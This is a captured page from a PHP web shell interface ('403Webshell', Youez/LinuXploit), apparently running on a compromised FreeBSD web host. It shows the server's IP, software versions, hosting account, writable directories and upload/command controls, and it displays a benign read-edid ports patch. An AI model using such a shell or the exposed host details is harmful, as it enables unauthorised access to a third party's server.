403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/read-edid/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/read-edid/files/patch-get-edid_i2c.c
--- get-edid/i2c.c.orig	2014-11-21 11:52:13 UTC
+++ get-edid/i2c.c
@@ -15,7 +15,7 @@
 
 //Ideas (but not too much actual code) taken from i2c-tools. Thanks guys.
 
-int quiet;
+extern int quiet;
 
 #define display(...) if (quiet == 0) { fprintf(stderr, __VA_ARGS__); }
 
@@ -24,7 +24,13 @@ int open_i2c_dev(int i2cbus) {
 	char filename[16];
 	unsigned long funcs;
 
-	sprintf(filename, "/dev/i2c-%d", i2cbus);
+	sprintf(filename,
+#if defined(__linux__)
+	        "/dev/i2c-%d",
+#elif defined(__FreeBSD__)
+	        "/dev/iic%d",
+#endif
+	        i2cbus);
 	i2cfile = open(filename, O_RDWR);
 
 	if (i2cfile < 0 && errno == ENOENT) {

Youez - 2016 - github.com/yon3zu
LinuXploit